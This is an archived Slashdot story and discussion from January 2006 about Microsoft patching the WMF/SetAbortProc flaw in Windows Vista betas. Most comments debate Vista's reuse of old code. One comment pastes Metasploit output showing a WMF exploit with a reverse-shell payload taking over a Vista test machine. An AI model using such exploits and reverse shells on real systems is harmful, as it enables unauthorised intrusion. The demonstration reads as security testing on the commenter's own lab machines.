Slashdot is powered by your submissions, so send in your scoop

 


Forgot your password?
Close
typodupeerror
×
Security Operating Systems Software Windows

First Windows Vista Security Update Released 317

Posted by Zonk from the pre-release-security-vulnerabilities-are-inspiring dept.
Bard Of Vim writes "Microsoft has issued critical security patches for beta testers running the Windows Vista December CTP (Community Technology Preview) and Windows Vista Beta 1, and warned that the new operating system was vulnerable to a remote code execution flaw in the Graphics Rendering Engine. The Vista patches address the same vulnerability that led to the WMF (Windows Metafile) malware attacks earlier this month. The recent out-of-cycle security update for the WMF vulnerability (see slashdot coverage) makes no mention of Windows Vista being vulnerable, but with the release of this weekend's patches it is clear that the poorly designed 'SetAbortProc,' the function that allows printing jobs to be canceled, was ported over to Vista."
This discussion has been archived. No new comments can be posted.

First Windows Vista Security Update Released More

First Windows Vista Security Update Released

Comments Filter:

  • Cant wait... (Score:2, Insightful)

    by XanthusMaximus ( 703797 )
    Wonder what exploits there will be when its actually out?
    • Probably the same ones XP and 2k have.

    • The first one .... (Score:5, Funny)

      by antek9 ( 305362 ) on Sunday January 15, 2006 @03:45PM (#14477184)
      .... will probably call itself 'Hasta la vista, baby!'.

      Sorry, couldn't resist, please ignore...

    • Re:Cant wait... (Score:5, Informative)

      by blast3r ( 911514 ) on Sunday January 15, 2006 @04:15PM (#14477347)
      I posted something about Vista being vulnerable to the WMF thing in a Vista Kernel post here not long ago. They got a little mad at me but that is okay. Everyone has to be mad at someone!

      People were telling me you can't automatically exploit it but I fired up metasploit and was successful with the admin account and a non-priv account.

      Administrator

      msf ie_xp_pfv_metafile(win32_reverse) > exploit
      [*] Starting Reverse Handler.
      [*] Waiting for connections to http://10.1.1.101:8080/ [10.1.1.101]
      [*] HTTP Client connected from 10.1.1.106:49450, redirecting...
      [*] HTTP Client connected from 10.1.1.106:49451, redirecting...
      [*] HTTP Client connected from 10.1.1.106:49452, redirecting...
      [*] HTTP Client connected from 10.1.1.106:49453, sending 1864 bytes of payload...
      [*] Got connection from 10.1.1.101:4321 10.1.1.106:49454

      Microsoft Windows [Version 6.0.5112]
      (C) Copyright 1985-2005 Microsoft Corp.

      E:\Users\Administrator\Desktop>

      Test account

      msf ie_xp_pfv_metafile(win32_reverse) > exploit
      [*] Starting Reverse Handler.
      [*] Waiting for connections to http://10.1.1.101:8080/ [10.1.1.101]
      [*] HTTP Client connected from 10.1.1.106:49487, redirecting...
      [*] HTTP Client connected from 10.1.1.106:49488, redirecting...
      [*] HTTP Client connected from 10.1.1.106:49489, sending 1864 bytes of payload...
      [*] Got connection from 10.1.1.101:4321 10.1.1.106:49490

      Microsoft Windows [Version 6.0.5112]
      (C) Copyright 1985-2005 Microsoft Corp.

      E:\Users\test\Desktop>

      I am wondering what else they are going to import from the old technology. I was a Windows fan up until this WMF dealio. I work in an Information Security office and all of our staff are going to Mac. Ordered them Friday!

    • Re:Cant wait... (Score:3, Insightful)

      by Anonymous Coward
      Wonder what exploits there will be when its actually out?

      Fixing bugs in a pre-beta OS under development is indicative of this? Then a changelog of Linux or OS/X beta will scare you good.

      • Re:Cant wait... (Score:5, Interesting)

        by Overly Critical Guy ( 663429 ) on Sunday January 15, 2006 @05:04PM (#14477636)
        With regards to Vista, it's a valid question. Remember that Microsoft is introducing all sorts of brand new version 1.0 APIs. They had to cancel Vista Beta 2 in favor of CTPs due to their rushed schedule, and they missed their Feature Complete deadline of December and are now aiming for the end of the month. Vista will suffer from reduced testing unless it is delayed to early 2007 (something I believe is likely to happen later this year).

        Contrary to popular belief, Vista isn't some big rewrite. It's the same Windows as before with some architectural changes and new API layers. But the old Win32 stuff is still in there.

        Wait 'til you guys see the fun way Vista gets older apps to run that expect admin privileges--it emulates a virtual filesystem and all sorts of other crazy things. My impression of Vista is that instead of a clean redesign, it's more layers of updates and APIs on the creaky building. As for WinFX, none of the major apps are going to rewrite their big applications just to go to the slow .NET framework. Photoshop, Dreamweaver, Maya, etc. will be Win32 forever.

        I believe there are plenty of reasons to be concerned about Vista. OS X had the advantage of totally starting over and just porting over the old toolbox APIs and calling it Carbon to get older apps to come along. Vista is a weird blend of old cruft and new less-tested code, complete with suspiciously high system requirements. But hey, at least they got shadows on their windows now--I've only been seeing that for five years from Apple.

      • Re:Cant wait... (Score:3, Insightful)

        by ozmanjusri ( 601766 )
        Fixing bugs in a pre-beta OS under development is indicative of this?

        This is a bug that was found by a third party. Microsoft, with all the effort it is putting into the Vista release, did not find this major vulnerability. The implication is that it is likely more vulnerabilities will be found by third parties, some of them malicious.

  • And it wasn't audited while porting?! (Score:5, Interesting)

    by Pecisk ( 688001 ) on Sunday January 15, 2006 @03:33PM (#14477108)
    What a hell is happening on Microsoft? They have a major Windows version upgrade and they don't even audit their portable old code for such things?! I would get a someone responsible about security in Windows Vista fired ASAP.

    How they think will be migration from old versions of Windows if such things will countinue to happen? Yeah, I know, OEM will have Vista and that's all. But with Web applications my pick is that lot of enterprises will stick with their Windows 2000/XP.

    No doubt that Microsoft will have hard time to make Vista as smash hit as they would like it to be.

    • Re:And it wasn't audited while porting?! (Score:5, Interesting)

      by giorgiofr ( 887762 ) on Sunday January 15, 2006 @03:38PM (#14477143)
      Well, Vista does look like it's seriously going to be a helluva flop, but because of a very simple reason: users don't need it! No, they don't care about security, they don't want to know about WinFS (which isn't there anyway), they certainly don't care about .NET 2.
      What matters is that they don't want to buy a new Dell in order to use... what exactly? Actually, were it not for some games and a slicker GUI, I'd probably stick with 2k, which is still the best Windows made to date. Yeah, holes in RPC and whatnot, but still better than all the other Windowses.
      • And even if they DO care about .NET 2, it is available for Windows XP already today...

        • Re:.NET 2 = already available. (Score:5, Informative)

          by Nik13 ( 837926 ) on Sunday January 15, 2006 @05:39PM (#14477839) Homepage
          Actually, .NET 2.0 runs on everything short of Win95 AFAIK. Vista isn't about .NET 2.0 whatsoever, it's about a bunch of other new technologies:

          WPF: Windows Presentation Framework ("avalon"; using XAML): what WinFX and the new AERO Shell are based onto;
          WCF: Windows Communication Foundation ("indigo": an enhancement to Web Services, MSMQ, etc);
          WWF: Windows Workflow Foundation, to help take care of scenarios like the one that was asked on "ask.slashdot.org" just yesterday. Something that's becoming increasingly common/important nowadays.

          People like to just dismiss Vista like it has nothing new or worthwhile, ignoring all the new stuff that actually IS there, not just the previous 3 things mentionned, but there's a great deal of other changes (video drivers not in kernel mode anymore, new audio and printing (both work quite differently), GUI rendered by the

          There are differences. It may not be worthwhile to everyone, but as a programmer I'm looking forward to many of these advances (WCF seems really nice). Saying Vista is about .NET 2 and that people don't care about that is uninformed at best...

          • Re:.NET 2 = already available. (Score:4, Insightful)

            by giorgiofr ( 887762 ) on Sunday January 15, 2006 @06:07PM (#14477997)
            Well I kinda summed it up a bit too much but my point is that *users* won't care about such technologies. I, as a developer, think they might be nice (but as I'm switching over to Linux I don't care too much); users won't. I was not saying Vista is stupid or limited; I was saying users will not perceive it as worth much more than XP. Then of course if developers force them to use Vista, that's another story...
      • We moved over to XP after SP2. The integrated firewall was something that made the move worthwhile to us. At least for us, Vista will be the same way. It'll wait until there's something compelling about it. (like running on the MacBook) ;)
      • Vista does look like it's going to be a helluva flop, because of a very simple reason: users don't need it!

        Vista will appear in the consumer market as the successor to Win MCE, at a time when HDTV, the HTPC and on-line media services are becoming mass-market.

        To me, this looks like money in the bank.

      • Well, Vista does look like it's seriously going to be a helluva flop, but because of a very simple reason: users don't need it!

        Son, I've been hearing people say that every time Microsoft finally crimps off another length of code into a shrinkwrapped box and calls it an OS since 1995. It was true then (cos Windows NT 3.51 was out...) and it's been true for every turd they've shipped since. And people still keep buying new PCs, which keep on arriving with the current shipping Microsoft OS for that market.

    • What a hell is happening on Microsoft? They have a major Windows version upgrade and they don't even audit their portable old code for such things?!

      Eh, they fix a bug in an early beta version and you have a problem with this because?
      • Fixing it is kudos to MS.

        The fact that it was STILL IN THERE more than makes up for it. Trustworthy Computing, what, four years ago, was supposed to involve audits, yet this bug made it in after (at least) two audits - the pre XP one and pre-Vista one.
      • I have problem that they fixed this problem only because someone discovered this ugly hack and they should do that. They didn't discovered by themselves, as some of other posters pointed out, in two major version upgrades - Windows 2000 and Windows XP. And they claimed that Vista will be secure. Can you say Vista will be secure if they don't check out and don't catch such obious old design bugs like this one?

        It is not how the biggest and "greatest" software company in the world should do their homework.
    • You're right! They should fix these bugs before release...in some period where things are still be fixed. Maybe call it....Beta, yeah, that's it. Oh wait....

  • At least... (Score:5, Insightful)

    by ajdlinux ( 913987 ) on Sunday January 15, 2006 @03:34PM (#14477112) Homepage Journal
    ...they're fixing bugs before they release. M$ is doing something right and actually attempting to release a more secure Windoze than XP.
    • Bug fixing happens all the time in software development. Nothing about this story indicates that Microsoft is ahead of the game.

      Rather, what it indicates is that Microsoft is recycling a bunch of XP code. That's not necessarily a bad thing, especially given the need for backwards compatability. But it means that whenever they find a new XPloit, they'll have to release a Vista patch at the same time. Otherwise, hackers could reverse-engineer the XP patch, and try the same exploit on Vista.

      That will be mo
    • They aren't attempting to release a more secure Windows, this bug makes that apparent. This is a bug that they probably should have noticed when they ported the code from Windows 3.0 over to Vista, and thus MS would have noticed the bug last year or earlier and realized it affected Windows XP too and patched it before WMF became a 0 day exploit.

  • Frist patch (Score:5, Insightful)

    by sexyrexy ( 793497 ) on Sunday January 15, 2006 @03:34PM (#14477113)
    They ported some functional code to their newest project. I hope they don't get unfairly bashed for this, just because a few bits of said code were discovered to be vulnerable. Every halfway intelligent programmer reuses code - it would be far more stupid not to. This is semi-interesting as a landmark ("frist patch!") but not exactly news because of what it contains.

    • Re:Frist patch (Score:3, Insightful)

      by Libor Vanek ( 248963 )
      You don't get it. Nobody is expecting that MS will not re-use the old code. For that MS is doing the "Singularity OS" project.

      What's wrong with this bug is that clearly Microsoft "software quality control" is failed (we know it for a long time - this is just another prove). All code going to Vista should be checked line by line and not cut-n-pasted function by function.

    • Re:Frist patch (Score:3, Insightful)

      by peragrin ( 659227 )
      No MSTF ported flawed buggy code that was rewritten specifically for XP. With earlier 98/me/2k all immune MSFT rewrote buggy code just for XP and then carried that to Visyta.

      Vista by the way should of been a complete ground up rewrite. i would expect no less for taking over 6 years to build. Just look at were KDE, Linux kernel, X where 6 years ago. Hell look at what Apple did with OS X in far less time than MSFT. Every other major OS has under gone massive revisions and upgrades. Hell Apple is working

      • Re:Frist patch (Score:5, Insightful)

        by IntlHarvester ( 11985 ) on Sunday January 15, 2006 @04:09PM (#14477314) Journal
        > Hell look at what Apple did with OS X in far less time than MSFT

        Apple bought an abandoned OS from the 1980s, that uses kernel with code originally written in the late 1970s. On top of that, they bolted a bunch of Toolbox compatibility code dating from the 80s and 90s, and a bunch of *nix stuff which is also 10-20 years old.

        So, it somewhat silly that you would argue that MS performs a "complete ground up rewrite", all while advocating MacOS X, which is a complete slut for legacy code.

        • Re:Frist patch (Score:3, Insightful)

          by MikTheUser ( 761482 )
          So, it somewhat silly that you would argue that MS performs a "complete ground up rewrite", all while advocating MacOS X, which is a complete slut for legacy code.

          Maybe his argumentation was wrong, but the simple fact is: BSD/Darwin/OS X never needed a rewrite - they work really well to this day, as you can see on Apples all over the globe. Windows' code, however, should have been dumped, printed on toilet paper and nailed to the church door as a bad example at the time Windows ME was released at the very
        • Yes, but somehow it works for them (t.i.Apple with OS X). Strange, isn't it?

          More to point - Microsoft "let's hack something for version 1.0 and then let's somehow provide workarounds" way of doing things are hitting them back hard time. And that is only and only their fault.

        • Re:Frist patch (Score:3, Funny)

          by keytoe ( 91531 )
          which is a complete slut for legacy code.
          Yeah - all that legacy code with loose morals, years of testing and refinement. What a whore.

        • Re:Frist patch (Score:4, Insightful)

          by Tony ( 765 ) on Sunday January 15, 2006 @07:21PM (#14478360) Journal
          Apple bought an abandoned OS from the 1980s . . .

          Funny you should mention NeXT. It was easy-to-use, powerful, developer-friendly, and by far the best OS for desktop use.

          I use the NeXT to illustrate how Microsoft has set the computer industry back. To this day, MS-Windows still doesn't have the power or ease-of-use of the NeXT. It wasn't until Apple picked up the pieces with OS X that an operating system approached the desktop usability of NeXTStep.

          Microsoft set the computer industry back over a decade. So when you talk about how Apple just stole a bunch of old code to make OS X, at least they had the smarts to steal the good code. Microsoft doesn't have access to good code, so they just steal from themselves.

          Microsoft: it's like corporate masturbation!
      • Puh-leeze... every application that has been running for years HAS to have some code that's a leftover from its earlier days. This includes Linux and X11, of course. Unless said app underwent a complete rewrite, which means that at a certain point its authors had realized that the thing was totally hopeless and couldn't go forward anymore.

        This is doubly true for a proprietary OS, which has to provide a compatiblity layer of some sort to its previous incarnations. It just doesn't make sense to rewrite that l

      • Re:Frist patch (Score:3, Insightful)

        by drsmithy ( 35869 )
        Vista by the way should of been a complete ground up rewrite.

        Completely unnecessary. The guts of NT are (and always have been ) quite solid.

        i would expect no less for taking over 6 years to build.

        It's only been 3 years since the last Windows NT release.

        Just look at were KDE, Linux kernel, X where 6 years ago.

        It's a lot easier to make large gains when large gains actually need to be made.

        Hell look at what Apple did with OS X in far less time than MSFT.

        Apple slapped a new display system and virtual

    • Every halfway intelligent programmer reuses code - it would be far more stupid not to.

      So the Trustworthy Computing initiative means nothing? The security emphasis means nothing.

      So long as code is reused, all is OK?

    • I thought it was The Borg himself that had the first code attempt at Vista scrapped and restarted the project from ground up.

      The fact this old 'vunerability' suddenly crops up makes me wonder if the paranoid are right and this was an intentional back door...

  • Does anyone else get the feeling... (Score:3, Insightful)

    by ZackSchil ( 560462 ) on Sunday January 15, 2006 @03:36PM (#14477123)
    that Windows Vista isn't going to be all the fresh, hot goodness that we've been promised? For their own sake, Microsoft should step away from their stale and horribly insecure old code bases. They've had enough time now to rewrite the OS a few times over but it seems they chose instead to shoehorn in their old crap. Now is as good a time as any to cut the Win 9x support cord.

    • Re:Does anyone else get the feeling... (Score:5, Insightful)

      by thefogger ( 455551 ) on Sunday January 15, 2006 @03:54PM (#14477238)
      It is reasonable to carry over old code to a new platform if you want to keep compatibility. Why in the world do you think a rewrite would improve security? It would only cause MORE bugs for years and years to come. Right now, Win32/GDI is quite bug-free, or at least undocumented bug-free. The WMF bug was a design flaw, not a coding error. Also, this has nothing to do with Win9x, for which they HAVE cut the support cord regarding the WMF vulnerability.

      Cheers, Fogger
      • "It would only cause MORE bugs for years and years to come. Right now, Win32/GDI is quite bug-free, or at least undocumented bug-free."

        So true. It's the maturity curve. The older a piece of code, the longer it has survived, the less likely an error will be found.

        But GDI is also a pain in the ass. It was designed long before anyone had a clue that PCs were going to go in the direction they have. I am glad to see it go. But this problem I don't beleive was part of the GDI. SetAbortProc started there and moved
        • "So true. It's the maturity curve. The older a piece of code, the longer it has survived, the less likely an error will be found."

          Not necessarily true. There is only so much patch after patch can do. If the underlying architecture of the system needs to change then applying fix after fix is likely to be very problematic. In these instances, it is more likely that a complete rewrite would be better structured, more secure and more efficient.

    • Re:Does anyone else get the feeling... (Score:5, Insightful)

      by IntlHarvester ( 11985 ) on Sunday January 15, 2006 @04:00PM (#14477272) Journal
      Not true! Windows Vista was promised to be nearly completely backward-compatibile with previous Windows!

      And that is exactly what IT customers want. They only way they can keep all those millions of custom programs developed for Windows over the last decades working is by pulling forward legacy code.

      Hey look at Apple -- they just introduced machines that do not run any software from as little as 5 years ago. Apple also has nearly zero corporate desktops. Connect the dots. Maybe consumer users running Firefox and iTunes and MSN Messenger want a "all new Windows", but nobody else does.

      • Re:Does anyone else get the feeling... (Score:4, Informative)

        by AuMatar ( 183847 ) on Sunday January 15, 2006 @04:22PM (#14477389)
        Consumers don't want it either. They have even less money to pay for new software and hardware than buisnesses. They rarely upgrade any software until they have to or they get a new computer (unless the upgrade is free).
        • Well, that's Apple's sell -- you can buy a shiny new Mac that comes with a webcam, iLifem and iWork and does almost everything Grandma needs right out of the box. Consumers shy away from buying software separately, but when it's built into the box cost, they're happy about it. Just god forbid that you are running a print-production workflow on Quark 4, or love Word 5.1, use Outlook 2001, or did any custom development for OS 9.
      • "Not true! Windows Vista was promised to be nearly completely backward-compatibile with previous Windows!"

        And it's working too; the latest exploit worked fine on Vista!
      • Hey look at Apple -- they just introduced machines that do not run any software from as little as 5 years ago. Apple also has nearly zero corporate desktops. Connect the dots.

        One word for you: Rosetta.

        Any business will go for what's nice and safe and runs the software they want to use. In most, that's Windows. But in industries like media, suddenly Macs are seen a lot more.
      • Apple provided a backward compatible environment for their apps. Why can't MS? License VMWare or something. Really, using newer hardware you could run old apps in a sandbox running on top of a complete rewrite. Really it all comes down to a lack of will. They have the money, they have examples (OS 9/OSX, VMWare) why not do it? Seriously, VM technology has been around since the 70's at least.

    • The problem is, if they create a whole new system, they create a whole new set of bugs and security vulnerabilities. It's probably a better idea to stick with what they've got and re-engineer/re-audit.
    • ".. that Windows Vista isn't going to be all the fresh, hot goodness that we've been promised?"

      How does an obvious statement like this manage to get 4 stupid moderators all to mod it up?

      Windows 95! Now better than ever!

      Windows 98! All your problems are solved!

      Windows ME! We will help you how we can!

      Windows 2000! No limit to your dreams!

      Windows XP! Easier than ever, better, faster!

      Of course MS is going to hype up their new product and have you upgrade from the old product. A statement as naive as yours

  • Gibson is such an Alarmist! Now patch your code! (Score:4, Interesting)

    by kupci ( 642531 ) on Sunday January 15, 2006 @03:39PM (#14477149)
    Get ready for all the Slashdotters and Microsoft fanboys to rip on Gibson being such an alarmist, as they quietly get ready to patch their boxes.

    The issue here is I think, that Microsoft continues to this day, to be rather sloppy and secretive about fixing their stuff. So if Gibson makes a big flap, so be it. Better that than a back door that MSFT doesn't bother to fix, because they don't consider it a "critical vulnerability" or some other excuse. As Gibson points out, no question this is highlighting one of the main benefits of open source - the source is there for all to see, no dickering about whether it was intentional or not, it gets fixed. Period.

  • LOL (Score:2)

    by TERdON ( 862570 )
    It hasn't even been released yet, and won't for at least half a year...

    At least, we can't complain that they are late with the patches anymore. Interesting tactic actually, to release the patches before the operating system... :)

  • About Windows Vista (Score:5, Interesting)

    by mshiltonj ( 220311 ) <mshiltonj@gmail . c om> on Sunday January 15, 2006 @03:44PM (#14477177) Homepage Journal
    From: http://msdn.microsoft.com/windowsvista/about/ [microsoft.com]
    Security Advances

    Windows Vista introduces an improved security model that reduces a system's vulnerability to attack while still empowering applications. In particular, it makes the new User Account Protection (UAP) the default user account, and provides an easy-to-use temporary-privilege elevation model. As a result, malware installations are reduced and more OS functionality is made safely available to non-administrators. Security is further strengthened with a trust-based validation system through Mandatory Integrity Control, and Windows Resource Protection (the follow-on to Windows File Protection) guarantees a stable, read-only view of a running operating system.
    Uh-huh.
    • Don't be mean. If they can pull that off it would be a huge step forward for them in terms of security. This is exactly the same issue with Windows that most people here continually complain about.

    • Re:About Windows Vista (Score:2, Interesting)

      by jimicus ( 737525 )
      In particular, it makes the new User Account Protection (UAP) the default user account, and provides an easy-to-use temporary-privilege elevation model.

      If a user can temporarily escalate privileges, so can a program.

      As a result, malware installations are reduced and more OS functionality is made safely available to non-administrators.

      Translation: The reason so many of your programs must run as administrator right now is a large chunk of the functionality we currently provide demands this.

      Security is furthe

  • more like.. (Score:4, Insightful)

    by ltwally ( 313043 ) on Sunday January 15, 2006 @03:44PM (#14477179) Homepage Journal
    "...it is clear that the poorly designed 'SetAbortProc,' the function that allows printing jobs to be canceled, was ported over to Vista."
    It's more like SetAbortProc was never removed from the common code-base that Vista inherited from XP. Saying it was "ported" would lead one to believe that MS actually re-writes the entire OS with every major release. They do not. They simply tack on some new stuff.

  • I find it amusing... (Score:4, Interesting)

    by ConceptJunkie ( 24823 ) on Sunday January 15, 2006 @03:46PM (#14477193) Homepage Journal
    I find it completely amusing not that this is a security bug that lets someone compromise your computer, but that it's the "Graphics Rendering Engine". I wonder how good it is for doing things like, you know, rendering graphics.

    Like I said once years ago, if edlin were written today, it would have direct access to kernel-level functions through scripting and be a vector for both viruses and remote exploits.

     

  • Let's be fair (Score:3, Insightful)

    by inkswamp ( 233692 ) on Sunday January 15, 2006 @03:46PM (#14477194)
    I despise Microsoft and think their products are generally crappy, but what is it about patching or refining beta software that makes this newsworthy? Because it's MS?

    • Re:Let's be fair (Score:3, Insightful)

      by DECS ( 891519 )
      I'd say it's newsworthy because Vista is being sold to the public as being a whole new OS with an improved security model.

      The fact that they've imported decades of legacy Windows code, written for a period of time when security was designed for LAN environments rather than open access to public networks, seems a bit shocking even to people like me who already KNEW THIS.

      Sometimes things you already know are newsworthy/shocking after you see them in print or hear them out loud.
      • If your software is perfect, it wouldn't need a "security model" to begin with. Why do the *BSDs focus so much on "jails" and why does Linux have SELinux and LSM and the like -- because they know that even with all the compulsive auditing, they probably missed something and their software has holes.

        If I understand Vista's security model correctly, IE is sandboxed so that the exploitable avenues from the WMF hole are extremely minimized.
        • A security model is like a business plan - you can't "not have one," although you might have a woefully inadequate one, or perhaps little thought given to one, before starting your project/business.

          Microsoft's security model for NT gave more thought to making things convenient for administrators that to making products that would be resilient to outside attacks.

          "Perfect" isn't ever an engineering goal. The problem with Windows NT/2000/XP and the legacy imported from Win3.1/95 is not that it "isn't perfect"
  • All operating system updates must of necessity borrow from their predecessors. My question is: Are the security problems in Windows so bad that Microsoft should dump it; are the problems bad enough not even microsoft can go through and patch it all?

    I believe it is very likely so. It is time to dump this code and go to a new platform. Whether this is done my microsoft itself or by the many alternatives out there to the Windows operating system.
    • If you strip it right down to the fundamentals, there is nothing the matter with Windows.

      However, Microsoft spent years enthusiastically bolting on bits of code without the remotest care for security, in some cases giving the code access to the system at its very lowest levels. What they need to do is what was done with OpenBSD. Stop adding functionality, go back and audit what's already there. Everything. From the ground up.

      Thing is, OpenBSD could do this because it didn't have pressures to release a n
    • "....Are the security problems in Windows so bad that Microsoft should dump it...."

      No, the security problems in Windows are so bad that everyone else should dump Windows: Microsoft will never let go until there are no more buyers. Which is mostly what Vista is about. Seems the Yugo buyers have figured out they bought a Yugo, so Microsoft is changing the paint color and advertising it as a Porshe, yet again.

      The old addage: There's a sucker born every minute.

  • SetAbortProc is OK (Score:5, Informative)

    by RingDev ( 879105 ) on Sunday January 15, 2006 @03:53PM (#14477225) Homepage Journal
    "poorly designed 'SetAbortProc,' the function that allows printing jobs to be canceled, was ported over to Vista."

    SetAbortProc is well designed. The problem is the code that handles the WMF. That code is allowing a payload to be placed on the stack and an incorrect pointer to be sent.

    All set abort proc does is send an abort code to the print job and set a call back method to call when the abort completes.

    -Rick
    • This is not at all what I understand. What I understand is that the exploit only works when the length is incorrectly set to 1 (a length of 1 word is impossible for a valid metafile record). This has led Gibson to believe it was an intentional backdoor. I don't know if I will go that far, but is not the pointer to the callback function that is the problem. The data in the metafile record suddenly gets executed if the length is set to 1.

  • does it really count if it's still in beta? (Score:3, Insightful)

    by artifex2004 ( 766107 ) on Sunday January 15, 2006 @04:05PM (#14477298) Journal
    doesn't this type of thing happen in a lot of betas?

  • There's an old saying... (Score:3, Insightful)

    by RoffleTheWaffle ( 916980 ) on Sunday January 15, 2006 @04:11PM (#14477324) Journal
    ... in the computing world that applies not only to many aspects of the evolution of technology, especially software.

    "Garbage in, garbage out."

    I wonder how much of Vista is actually based on new code. Is Vista going to be Windows XP in Mac OSX's clothing? And is it going to inherit the same piss-poor security it's predecessor had? I certainly hope not.
  • It's been speculated that the WMF vulnerability was there intentionally for whatever reason, or so GRC reported: http://www.grc.com/SecurityNow.htm#22 [grc.com] . Now if it was a rouge programmer or part of MS's plans for world domination, we don't know, but if it was indeed placed there intentionally, it wasn't a bug. If it's not a bug, then of course it would survive the code auditing several times over. Because of the recent discovery of it by the public, of course, MS had to fix it on all OSes, and the Vista p

  • You mean the BETA is not production ready?!?! (Score:3, Insightful)

    by drsmack1 ( 698392 ) * on Sunday January 15, 2006 @04:40PM (#14477506)
    Isn't this just a little too much? Do the people who accept these sort of stories have ANY introspection at all?

  • Didn't Microsoft say... (Score:3, Informative)

    by Hymer ( 856453 ) on Sunday January 15, 2006 @04:54PM (#14477592)
    ...that Longhorn (now Vista) is completly new design... from scratsh... none of the earlier flaws would be ported to it ?
    Do I remember wrong ? ...or are they full of shit as usual ?

  • The real deal (Score:3)

    by jamesl ( 106902 ) on Sunday January 15, 2006 @05:25PM (#14477763)
    From the Microsoft Security Center Blog, facts about "the recent WMF issue" and SetAbortProc.

    Now that the monthly release has passed and people are deploying the updates I wanted to take a moment to discuss some things related to questions we've been receiving on the recent WMF issue. (Which was addressed in MS06-001).
    http://blogs.technet.com/msrc/archive/2006/01/13/4 17431.aspx [technet.com]

  • Before i replied (Score:3, Informative)

    by myfantasyromanc ( 945181 ) on Sunday January 15, 2006 @11:30PM (#14479479) Homepage
    Now people are making fun of microsoft for porting this over to vista! Do any of you know what it is. If you are a graphics designer you probably should know what it is. Look it up graphics designers and web designers love vector graphics. This is the file that allows windows to draw vector and bitmap images on pre 2000 systems, though it is still included for backwards compatability.

    A metafile is a list of commands that can be played back to draw a graphic. Typically, a metafile is made up of commands to draw objects such as lines, polygons and text and commands to control the style of these objects. NOTE: Some people equate metafiles with vector graphics. In most cases this is fine; but, strictly speaking, a metafile can contain any mix of vector and raster graphics. For example, a metafile could contain just one command to display a bitmap! Unless the distinction is important, we will consider a metafile to be a kind of vector graphic.

    The reason it was still included is cause it is technically a file format! Do you rewrite everything in linux? Was php totally rewritten from the ground up from php4 to php5 i don't think so.

    Just my take on things!

Slashdot Top Deals

Term, holidays, term, holidays, till we leave school, and then work, work, work till we die. -- C.S. Lewis

Close